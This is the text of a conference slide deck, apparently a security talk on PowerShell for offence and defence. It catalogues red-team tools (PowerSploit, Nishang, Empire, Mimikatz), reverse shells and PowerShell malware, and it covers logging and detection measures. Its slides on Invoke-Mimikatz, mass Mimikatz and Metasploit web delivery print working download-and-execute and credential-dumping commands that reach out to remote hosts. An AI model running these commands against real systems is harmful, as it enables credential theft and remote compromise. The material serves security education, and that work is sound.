1 Power Shell for Cyber Warriors by Russel

1 Power. Shell for Cyber Warriors by Russel Van Tuyl

2 Who Am I? • • • Security Analyst TN Air National Guard SANS MSISE Student Father of 2, Husband to 1 Russel. Van. Tuyl@gmail. com @Ne 0 nd 0 g

Disclaimer 3

4 Outline • Introduction to Power. Shell • Basics • Module Loading • PSRemoting • Attack Tools • Tool Suites • powershell. exe Alternatives • Agents • Malware • Forensic/Reverse Engineering Tools • Defending Attacks

What is Power. Shell? Windows Power. Shell is an interactive object-oriented command environment with scripting language features that utilizes small programs called cmdlets to simplify configuration, administration, and management of heterogeneous environments in both standalone and networked typologies by utilizing standards-based remoting protocols. 5

6 Power. Shell Basics • • • powershell. exe Built on. NET Framework Verb-Noun Tab Complete Alias Structured Data/Objects Syntax Highlighting (version 5) Released in 2006 on XP*/Vista/Server 2003. ps 1 Modules. psm 1 Integrated Scripting Environment (ISE) Compile to. exe

Power. Shell Basics Get-Help 7

Power. Shell Basics Get-Member 8

Use Cases 9 Why it is used • Powerful tool for interacting with Windows • PSRemoting • Future SSH Integration • Antivirus/Application Blacklisting Bypass • Red Team • Blue Team • Malware • In Memory only execution

10 PSRemoting • • Disabled by default Enable-PSRemoting –Force Trusted hosts 5985 (HTTP)/5986 (HTTPS) 47001 Invoke-Command Enter-PSSession

Module & Script Loading Execution Policy Import-Module Dot Sourcing 11

12 IEX Download Cradle • Download from anywhere • SMB • HTTP • In-Memory • No files on disk

Power. Shell Tools - Attack • • Power. Sploit Nishang Power. Cat Inveigh Empire Dark. Observer Power. Shell Suite Power. Memory • • Power. Shell. Arsenal Power. Shell-AD-Recon Fathomless Posh. Rat Metasploit DSInternals DSCompromised OWA-Toolkit 13

Power. Memory Pierre-Alexandre Braeken - @pabraeken - https: //github. com/gi. Mini/Power. Memory/ • Capabilities • Grab Credentials from Memory • Perform Active Directory Assessment • Scan Service Network • Flow of Operations • Creates a memory dump • Reads the memory dump • Decrypts the memory dump • Exfiltrate • Does not inject into other processes • Uses Microsoft Signed Binaries • Uses WMI for remote dump • Virtual Machine Snapshots • Works on Windows 10/Server 2016 14

Power. Memory Pierre-Alexandre Braeken - @pabraeken - https: //github. com/gi. Mini/Power. Memory/ 15

Power. Memory Pierre-Alexandre Braeken - @pabraeken - https: //github. com/gi. Mini/Power. Memory/ 16

Power. Shell-AD-Recon Sean Metcalf - @Pyro. Tek 3 - https: //github. com/Pyro. Tek 3/Power. Shell-AD-Recon • Discover-PSInteresting. Services • Discover network servers with interesting services without port scanning • Discover-PSMSExchange. Servers • Discover Microsoft Exchange servers without port scanning • Discover-PSMSSQLServers • Discover Microsoft SQL servers without port scanning • Find-PSService. Accounts • Discovers all user accounts configured with a Service. Principal. Name in the Active Directory domain or forest • Get-Domain. Kerberos. Policy • Get-PSADForest. Info • Get-PSADForest. KRBTGTInfo 17

Power. Shell-AD-Recon by Sean Metcalf @Pyro. Tek 3 Sean Metcalf - @Pyro. Tek 3 - https: //github. com/Pyro. Tek 3/Power. Shell-AD-Recon 18

FTP w/ Powershell John Savill - http: //windowsitpro. com/windows/ftp-using-powershell 19

DSInternals Power. Shell Module Michael Grafnetter - @mgrafnetter - https: //github. com/Michael. Grafnetter/DSInternals Offline AD Database Access: • Get-ADDBAccount • Get-ADDBDomain. Controller • Get-Boot. Key • Get-ADDBBackup. Key • Get-ADDBSchema. Attribute • Add-ADDBSid. History • Set-ADDBPrimary. Group • Set-ADDBDomain. Controller • Set-ADDBBoot. Key • Remove-ADDBObject Password Hash Calculation: • Convert. To-NTHash • Convert. To-LMHash • Convert. To-Org. Id. Hash Online AD Database Access: • Get-ADRepl. Account • Get-ADRepl. Backup. Key • Set-Sam. Account. Password. Hash Misc: • Convert. To-Hex • Save-DPAPIBlob Password Decryption: • Convert. From-ADManaged. Password. Blob • Convert. From-Unicode. Password • Convert. To-Unicode. Password • Convert. From-GPPref. Password • Convert. To-GPPref. Password 20

DSInternals – ntds. dit 21

Dark. Observer Ian Anderson - https: //github. com/imander/Dark. Observer 22

OWA-Toolkit 23 https: //github. com/Shellntel/OWA-Toolkit • OTK-Init • A base cmd-let to produce an Exchange Web Service object • Brute-EWS • Brute force credentials by testing credentials against an Exchange Web Service • Steal-GAL • Enumerate and copy the Global Address List from an exposed Exchange Web Service

Powercat https: //github. com/besimorhino/powercat 24

Powercat Power. Shell 25

Inveigh Kevin Robertson - @kevin_robertson - https: //github. com/Kevin-Robertson/Inveigh 26

Power. Tools 27 Will Schroeder/Justin Warner - @harmj 0 y/@sixdub - https: //github. com/Power. Shell. Empire/Power. Tools • Pew • Scripts that utilize a common pattern to host a script on a Power. Shell webserver, invoke the IEX download cradle to download/execute the target code and post the results back to the server, and then post-process any results. • Power. Breach • A backdoor toolkit that aims to provide the user a wide variety of methods to backdoor a system • Power. Pick • This project focuses on allowing the execution of Power. Shell functionality without the use of powershell. exe. Primarily this project uses. NET assemblies/libraries to start execution of the Power. Shell scripts. • Power. Up • A Power. Shell tool to assist with local privilege escalation on Windows systems. • Power. View • A Power. Shell tool to gain network situational awareness on Windows domains.

28 Power. View Functions Misc Functions (21): Get-Domain. SID Convert-Sid. To. Name Get-Proxy Get-User. Property Find-Interesting. File Invoke-Check. Local. Admin. Access - return the SID for the specified domain - converts a security identifier (SID) to a group/user name - enumerates local proxy settings - returns all properties specified for users, or a set of user: prop names - search a local or remote path for files with specific terms in the name - check if the current user context has local administrator access to a specified host Net * Functions (26): Get-Net. Forest. Domain Get-Net. Domain. Controller Get-Net. User Get-Net. Computer Get-Net. Group. Member Get-Net. File. Server - gets all domains for the current forest - gets the domain controllers for the current computer's domain - returns all user objects, or the user specified (wildcard specifiable) - gets a list of all current servers in the domain - gets a list of all current users in a specified domain group - get a list of file servers used by current domain users GPO Functions (6): Get-Net. GPO Get-Domain. Policy - gets all current GPOs for a given domain - returns the default domain or DC policy

Power. View 29 Functions User-Hunting Functions (4): Invoke-User. Hunter - finds machines on the local domain where specified users are logged into, and can optionally check if the current user has local admin access to found machines Invoke-Stealth. User. Hunter - finds all file servers utilizes in user Home. Directories, and checks the sessions one each file server, hunting for particular users Domain Trust Functions (5): Get-Net. Domain. Trust - gets all trusts for the current user's domain Invoke-Map. Domain. Trust - try to build a relational mapping of all domain trusts Meta Functions (7): Find-Local. Admin. Access - finds machines on the domain that the current user has local admin access to Get-Exploitable. System - finds systems likely vulnerable to common exploits Invoke-Enumerate. Local. Admin - enumerates members of the local Administrators groups across all machines in the domain

Power. View Misc Functions 30

Power. View Get-Net. User 31

Power. View Get-Net. Group. Member 32

Power. View GPO Functions 33

Power. View Invoke-User. Hunter 34

Power. Sploit 35 Matt Graber et al - https: //github. com/mattifestation/Power. Sploit Code. Execution(5) - Execute code on a target machine. Invoke-Dll. Injection Injects a Dll into the process ID of your choosing. Invoke-Reflective. PEInjection Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process. Invoke-Shellcode Injects shellcode into the process ID of your choosing or within Power. Shell locally. Invoke-Wmi. Command Executes a Power. Shell Script. Block on a target computer and returns its formatted output using WMI as a C 2 channel. Script. Modification(4) - Modify and/or prepare scripts for execution on a compromised machine. Out-Encoded. Command script. Out-Encrypted. Script Compresses, Base-64 encodes, and generates command-line output for a Power. Shell payload Encrypts text files/scripts. Persistence(5) - Add persistence capabilities to a Power. Shell script Add-Persistence Add persistence capabilities to a script. Antivirus. Bypass(1) - AV doesn't stand a chance against Power. Shell! Find-AVSignature Locates single Byte AV signatures utilizing the same method as DSplit from "class 101".

Power. Sploit Functions Exfiltration(13) - All your data belong to me! Invoke-Mimikatz Reflectively loads Mimikatz 1. 0 in memory using Power. Shell. Can be used to dump credentials without writing anything to disk. Can be used for any functionality provided with Mimikatz. Get-Keystrokes Logs keys pressed, time and the active window. Get-GPPPassword Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences. Get-Timed. Screenshot A function that takes screenshots at a regular interval and saves them to a folder. Get-Volume. Shadow. Copy Lists the device paths of all local volume shadow copies. Mayhem(2) - Cause general mayhem with Power. Shell. Set-Master. Boot. Record Proof of concept code that overwrites the master boot record with the message of your choice. Set-Critical. Process Causes your machine to blue screen upon exiting Power. Shell. 36

Power. Sploit Functions Privesc (1) - Tools to help with escalating privileges on a target. Power. Up Clearing house of common privilege escalation checks, along with some weaponization vectors. Recon(4) - Tools to aid in the reconnaissance phase of a penetration test. Invoke-Portscan Does a simple port scan using regular sockets, based (pretty) loosely on nmap. Get-Http. Status Returns the HTTP Status Codes and full URL for specified paths when provided with a dictionary file. Invoke-Reverse. Dns. Lookup Scans an IP address range for DNS PTR records. Power. View Series of functions that performs network and Windows domain enumeration and exploitation. 37

Power. Sploit MSFVenom 39

Power. Sploit Invoke-Shellcode 40

Power. Sploit Out-Encoded. Command 41

Power. Sploit Get-Keystrokes 42

Power. Sploit Invoke-Portscan 43

Invoke-Mimikatz IEX (New-Object Net. Web. Client). Download. String('http: //is. gd/oeo. Fu. I'); Invoke-Mimikatz -Dump. Creds 44

Mass Mimikatz Part 3 45 https: //www. swordshield. com/2015/05/dumping-a-domain-worth-of-passwords-with-mimikatz-part-3/

Mass Mimikatz Part 3 For. Each ($h in Get-Content C: hosts. txt){C: Ps. Exec. exe \$h -d -e -u ACMEbob -p P@$$word 1 -s cmd /c powershell -nop -command “& {IEX ((new-object net. webclient). downloadstring(‘\172. 16. 1. 205dataInvoke. Mimikatz. ps 1′)); Invoke-Mimikatz -Dump. Creds > \172. 16. 1. 205data%COMPUTERNAME%. txt}”} 46

Mass Mimikatz Part 3 47

Nishang 48 Nikhil "Samrat. Ashok" Mittal - @nikhil_mitt - https: //github. com/samratashok/nishang Antak Execute Power. Shell scripts in memory, run commands, and download and upload files using this webshell. Prasadhak Check running hashes of running process against the Virus. Total database. Powerpreter All the functionality of nishang in a single script module. Backdoors(6) HTTP-Backdoor A backdoor which can receive instructions from third party websites and execute Power. Shell scripts in memory. DNS_TXT_Pwnage A backdoor which can receive commands and Power. Shell scripts from DNS TXT queries, execute them on a target, and be remotely controlled using the queries. . Gupt-Backdoor A backdoor which can receive commands and scripts from a WLAN SSID without connecting to it. Client(7) Out-Word Out-HTA Out-Java Create Word files and infect existing ones to run Power. Shell commands and scripts. . Create a HTA file which can be deployed on a web server and used in phishing campaigns. Create signed JAR files which can be used with applets for script and command execution. Escalation(3) Enable-Duplicate. Token When SYSTEM privileges are required. Invoke-Ps. UACme Bypass UAC.

49 Nishang Functions Execution(4) Download_Execute. Download an executable in text format, convert it to an executable, and execute. Execute-DNSTXT-Code Execute shellcode in memory using DNS TXT queries. Gather(13) Invoke-Credentials. Phish Trick a user into giving credentials in plain text. Fire. Buster Fire. Listener A pair of scripts for egress testing Get-Pass. Hashes Get password hashes from a target. Get-WLAN-Keys Get WLAN keys in plain text from a target. Invoke-Mimikatz. Wdigest. Downgrade Dump user passwords in plain on Windows 8. 1 and Server 2012 Show-Target. Screen Connect back and Stream target screen using MJPEG Pivot(3) Invoke-Network. Relay Create network relays between computers. Scan(2) Brute-Force Brute force FTP, Active Directory, MSSQL, and Sharepoint.

Nishang Functions Shells(11) Invoke-Ps. Gcat Send commands and scripts to specifed Gmail account to be executed by Invoke-Ps. Gcat. Agent Invoke-Power. Shell. Tcp An interactive Power. Shell reverse connect or bind shell Invoke-Power. Shell. Udp An interactive Power. Shell reverse connect or bind shell over UDP Invoke-Posh. Rat. Https Reverse interactive Power. Shell over HTTPS. Invoke-Power. Shell. Icmp An interactive Power. Shell reverse shell over ICMP. Utility(9) Add-Exfiltration Add data exfiltration capability to Gmail, Pastebin, a web server, and DNS to any script. Add-Persistence Add reboot persistence capability to a script. Parse_Keys Parse keys logged by the keylogger. Invoke-Encode and compress a script or string. Invoke-Decode and decompress a script or string from Invoke-Encode. Start-Capture. Server Run a web server which logs Basic authentication and SMB hashes. 50

Nishang Get-WLAN-Keys 51

Power. Shell Suite https: //github. com/Fuzzy. Security/Power. Shell-Suite • Invoke-Runas • Functionally equivalent to Windows "runas. exe", using Advapi 32: : Create. Process. With. Logon. W • Invoke-Net. Session. Enum • Use Netapi 32: : Net. Session. Enum to enumerate active sessions on domain joined machines • Invoke-Create. Process • Use Kernel 32: : Create. Process to achieve fine-grained control over process creation from Power. Shell. • Conjure-LSASS • Se. Debug. Privilege to duplicate the LSASS access token and impersonate it in the calling thread • Invoke-MS 16 -032 • Discovered by James Forshaw • Subvert-PE • Inject shellcode into a PE image while retaining the PE functionality. • Calculate-Hash • Power. Shell v 2 compatible script to calculate file hashes • Check-VTFile • Submit SHA 256 hash of a file to Virus Total and retrieve the scan report if the hash is known 53

Invoke-Runas. ps 1 https: //github. com/Fuzzy. Security/Power. Shell-Suite/blob/master/Invoke-Runas. ps 1 54

Subvert-PE Powershell PE Injection 56

57 PS> Attack Jared Haight - @jaredhaight - https: //github. com/jaredhaight/PSAttack • • Precompiled, self contained, portable console No powershell. exe, . Net 3. 5 Modules are encrypted, decrypted in memory Modules • Powersploit • Power. Tools • Nishang • Powercat • Inveigh • MS 16 -032 • Hot Potato • Invoke-Metasploit. Payload

Not Power. Shell Ben Ten - @ben 0 xa - https: //github. com/Ben 0 x. A/nps 58

59 Posh. Rat Casey Smith - @sub. Tee - https: //github. com/sub. Tee/Posh. Rat Server: • • • Target: JSRat. ps 1 Posh. Rat-Socket. ps 1 Posh. Rat. HTTPS. ps 1 Posh. Rat. Web. DAV. ps 1

Metasploit 60 Modules encoder/cmd/powershell_base 64 Powershell Base 64 Command Encoder exploit/windows/local/powershell_cmd_upgrade Windows Command Shell Upgrade (Powershell) exploit/windows/local/powershell_remoting Powershell Remoting Remote Command Execution exploit/windows/smb/psexec_psh Microsoft Windows Authenticated Powershell Command Execution payload/cmd/windows/powershell_bind_tcp Windows Interactive Powershell Session, Bind TCP payload/cmd/windows/powershell_reverse_tcp Windows Interactive Powershell Session, Reverse TCP payload/cmd/windows/reverse_powershell Windows Command Shell, Reverse TCP (via Powershell) payload/windows/powershell_bind_tcp Windows Interactive Powershell Session, Bind TCP payload/windows/powershell_reverse_tcp Windows Interactive Powershell Session, Reverse TCP payload/windows/x 64/powershell_bind_tcp Windows Interactive Powershell Session, Bind TCP payload/windows/x 64/powershell_reverse_tcp Windows Interactive Powershell Session, Reverse TCP post/windows/gather/enum_powershell_env Windows Gather Powershell Environment Setting Enumeration post/windows/manage/exec_powershell Windows Powershell Execution Post Module post/windows/manage/powershell/exec_powershell Windows Manage Power. Shell Download and/or Execute post/windows/manage/powershell/load_script Load Scripts Into Power. Shell Session

Metasploit – Power. Shell Payloads windows/powershell_bind_tcp - windows/powershell_reverse_tcp 61

Metasploit – Meterpreter Extension 63

Metasploit – Meterpreter. NET namespaces • Elevate • File. System • Incognito • Kiwi • Sys • User • Transport 64

Metasploit – Web Delivery 66 powershell. exe -nop -w hidden -c $m=new-object net. webclient; $m. proxy=[Net. Web. Request]: : Get. System. Web. Proxy(); $m. Proxy. Credentials=[Net. Credenti al. Cache]: : Default. Credentials; IEX $m. downloadstring('http: //192. 168. 56. 104: 8080/pwned');

68 Empire Will Schroeder/Justin Warner/Matt Nelson - @harmj 0 y/@sixdub/@enigma 0 x 3 - https: //github. com/Power. Shell. Empire/Empire is a pure Power. Shell post-exploitation agent built on cryptologically-secure communications and a flexible architecture. Empire implements the ability to run Power. Shell agents without needing powershell. exe, rapidly deployable postexploitation modules ranging from key loggers to Mimikatz, and adaptable communications to evade network detection, all wrapped up in a usability-focused framework.

69 Empire Commands ==== agents Jump to the Agents menu. creds Add/display credentials to/from the database. exit Exit Empire help Displays the help menu. list Lists active agents or listeners Interact with active listeners. reload Reload one (or all) Empire modules. reset Reset a global option (e. g. IP whitelists). searchmodule Search Empire module names/descriptions. set Set a global option (e. g. IP whitelists). show Show a global option (e. g. IP whitelists). usemodule Use an Empire module. usestager Use an Empire stager.

Empire DEMO 70

Power. Empire 71 Carlos Perez - @Carlos_Perez - https: //gitlab. com/carlos_perez/Power. Empire • Power. Shell Management • Power. Shell Objects • REST API

Power. Empire Carlos Perez - @Carlos_Perez - https: //gitlab. com/carlos_perez/Power. Empire 72

Power. Empire 73

Power. Shell Empire Web Interference Security - https: //github. com/interference-security/empire-web 74

Power. Shell Malware 75

Power. Worm • • Email Campaign Infected MS Word/Excel w/ VBA Executes Power. Shell DNS TXT Records w/ URLs Download Tor/Polipo Downloads Additional Power. Shell Script Establish C 2 Infects other MS Word/Excel Documents • Modify Registry to Weaken MS Office Security • Finds All. doc, . docx, . xlsx • Embeds VBA • Persists in Registry w/ Base 64 Encoded Payload 76

Mc. Afee Labs – Malicious. lnk Marc Rivero Lopez - https: //blogs. mcafee. com/mcafee-labs/malware-employs-powershell-to-infect-systems/ • • Email campaign w/ attached. rar file contained a. lnk file Bypass Execution Policy Opens hidden window Uses IEX download cradle to get new file Saves file to Temp Executes the file with cmd. exe Sandbox Bypass 77

78 Palo Alto - Powersniff Palo Alto - http: //researchcenter. paloaltonetworks. com/2016/03/powersniff-malware-used-in-macro-based-attacks/ • • • Email Campaign Documents w/ Malicious Macros Injects Malware into Memory WMI Executes Power. Shell Bypass Execution. Policy Opens Hidden Window Download. ps 1 w/ Shellcode Decrypts & Executes payload Performs Recon HTTP GET to C 2 Downloads Encrypted. dll Executed w/ rundll 32. exe

79 POWELIKS • • Hides in Windows Registry Downloads Power. Shell if not Present Execute Encoded Script Executes Malware. dll Creates Null Autostart Entry Stores Encoded. dll in Registry. dll Injected into DLLHOST. EXE

Carbon Black - Power. Ware • • Fileless Ransomware Spread via Spam w/ Attachment VBA Macro Run Power. Shell via cmd. exe Download Power. Shell Script Power. Shell Encrypts Files 80

Incident Response & Defense 81

82 Kansa Dave Hull - @davehull - https: //github. com/davehull/Kansa/ • • Modular Incident Response Framework PSRemoting for Data Collection Analysis Modules Remediation Steps Search for Breach Build Environmental Baseline Modules. conf

83 Kansa - Modules ASEP • Get-Autorunsc. ps 1 • Get-Autorunsc. Deep. ps 1 • Get-PSProfiles. ps 1 • Get-Sig. Check. Random. Path. ps 1 • Get-Sig. Check. ps • Get-Svc. All. ps 1 • Get-Svc. Fail. ps 1 • Get-Svc. Trigs. ps 1 • Get-WMIEvt. Consumer. ps 1 • Get-WMIEvt. Filter. ps 1 • Get-WMIFlt. Con. Bind. ps 1 Config • Get-AMHealth. Status. ps 1 • Get-AMInfection. Status. ps 1 • Get-Cert. Store. ps 1 • Get-Clr. Version. ps 1 • Get-GPResult. ps 1 • Get-Hotfix. ps 1 • Get-IIS. ps 1 • Get-Local. Admins. ps 1 • Get-PSDot. Net. Version. ps 1 • Get-Products. ps 1 • Get-Share. Permissions. ps 1 • Get-Smb. Share. ps 1

84 Power. Forensics Jared Atkinson - @jaredcatkinson - https: //github. com/Invoke-IR/Power. Forensics Boot Sector • Get-Forensics. Master. Boot. Record • Get-Forensic. Guid. Partition. Table • Get-Forensic. Boot. Sector • Get-Forensic. Partition. Table NTFS • Get-Forensic. Attr. Def • Get-Forensic. Bitmap • Get-Forensic. File. Record • Get-Forensic. Usn. Jrnl • Get-Forensic. Volume. Boot. Record • Get-Forensic. Volume. Information • Get-Forensic. Unallocated. Space Windows Artifacts • Get-Alternate. Data. Stream • Get-Forensic. Event. Log • Get-Forensic. Office. File. Mru • Get-Forensic. Run. Key • Get-Forensic. Typed. Url Windows Registry • Get-Forensic. Registry. Key • Get-Forensic. Registry. Value Utilities • Convert. From-Binary. Data • Copy-Forensic. File • Get-Forensic. Child. Item • Invoke-Forensic. DD

Power. Shell. Arsenal Matt Graeber - @mattifestation - https: //github. com/mattifestation/Power. Shell. Arsenal Disassembly(2): Disassemble native and managed code. Get-CSDisassembly Disassembles a byte array using the Capstone Engine disassembly framework. Malware. Analysis(10): Useful tools when performing malware analysis. New-Function. Delegate Provides an executable wrapper for an X 86 or X 86_64 function. Invoke-Load. Library Loads a DLL into the current Power. Shell process. New-Dll. Export. Function Creates an executable wrapper delegate around an unmanaged, exported function. Get-Assembly. Strings Output all strings from a. NET executable. Get-Assembly. Resources Extract managed resources from a. NET assembly Memory. Tools(4): Inspect and analyze process memory Get-Process. Strings Outputs all printable strings from the user-mode memory of a process. Get-Virtual. Memory. Info A wrapper for kernel 32!Virtual. Query. Ex Get-Process. Memory. Info Retrieve virtual memory information for every unique set of pages in user memory. 85

Power. Shell. Arsenal 86 Functions Parsers(4): Parse file formats and in-memory structures. Get-PE An on-disk and in-memory PE parser and process dumper. Find-Process. PEs Finds portable executables in memory regardless of whether or not they were loaded in a legitimate fashion. Misc(4): Miscellaneous helper functions Get-Member A proxy function used to extend the built-in Get-Member cmdlet. It adds the '-Private' parameter allowing you to display non-public. NET members Convert. To-String. Converts the bytes of a file to a string that has a 1 -to-1 mapping back to the file's original bytes. Convert. To-String is useful for performing binary regular expressions. Get-Entropy Calculates the entropy of a file or byte array. Windows. Internals(6): Obtain and analyze low-level Windows OS information. Get-PEB Returns the process environment block (PEB) of a process. Register-Process. Module. Trace Starts a trace of loaded process modules Get-Process. Module. Trace Displays the process modules that have been loaded since the call to Register- Process. Module. Trace

Defense – Windows Logging Power. Shell v 5 Enhanced Logging • Local Group Policy • Administrative Templates • Windows Components • Windows Power. Shell • Module Logging (PSv 3) • Script Block Logging • Encoded. Command • XOR, Base 64, ROT 13 • Script Execution • Transcription 87

Payload Encoding 88

Power. Shell Event Log 89

Power. Shell Language Modes • Full. Language • Constrained. Language • ! Direct. Net Scripting • ! Win 32 API via Add-Type • ! Interaction with COM objects • Restricted. Language • No. Language • Environment Variable • [Environment]: : Set. Environment. Variable(‘__PSLockdown. Policy‘, ‘ 4’, ‘Machine‘) • GPO • Computer ConfigurationPreferencesWindows SettingsEnvironment • App. Locker “Allow Mode” Policy • Power. Shell v 5 90

91

Additional Resources Blogs, Papers, and Videos • https: //www. blackhat. com/docs/us-14/materials/us-14 -Kazanciyan-Investigating-Powershell-Attacks-WP. pdf • http: //www. trustedsec. com/files/Power. Shell_Defcon. pdf • https: //www. troopers. de/events/troopers 14/123_powershell_for_hackers/ • http: //www. irongeek. com/i. php? page=videos/derbycon 5/break-me 11 -gray-hat-powershell-ben-ten http: //www. darkoperator. com/powershellbasics/ https: //www. sixdub. net/? tag=powershell-hacking-redteam-veil http: //www. labofapenetrationtester. com/ https: //waitfordebug. wordpress. com/2015/01/14/powershell-for-red-teaming/ http: //www. powershellempire. com/ http: //www. irongeek. com/i. php? page=videos/derbycon 5/fix-me 06 -getting-started-withpowershell-michael-wharton • https: //blog. netspi. com/15 -ways-to-bypass-the-powershell-execution-policy/ • http: //www. fuzzysecurity. com/tutorials/20. html • • • 92

Windows Management Instrumentation (WMI) Bonus Points • WINDOWS MANAGEMENT INSTRUMENTATION (WMI) OFFENSE, DEFENSE, AND FORENSICS • Fire. Eye • https: //www. fireeye. com/content/dam/fireeye-www/global/en/current-threats/pdfs/wpwindows-management-instrumentation. pdf • Why. MI so Sexy? WMI Attacks, Real-Time Defense, and Advanced Forensic Analysis • Fire. Eye • http: //www. irongeek. com/i. php? page=videos/derbycon 5/break-me 12 -whymi-so-sexywmi-attacks-real-time-defense-and-advanced-forensic-analysis-matt-graeber-williballenthin-claudiu-teodorescu • Spray. WMI - a method for mass spraying unicorn powershell injection to CIDR notations. • Trusted. Sec • https: //www. trustedsec. com/october-2015/new-tool-spraywmi-mass-wmi-pwnage/ • https: //github. com/trustedsec/spraywmi 93

Conclusion 94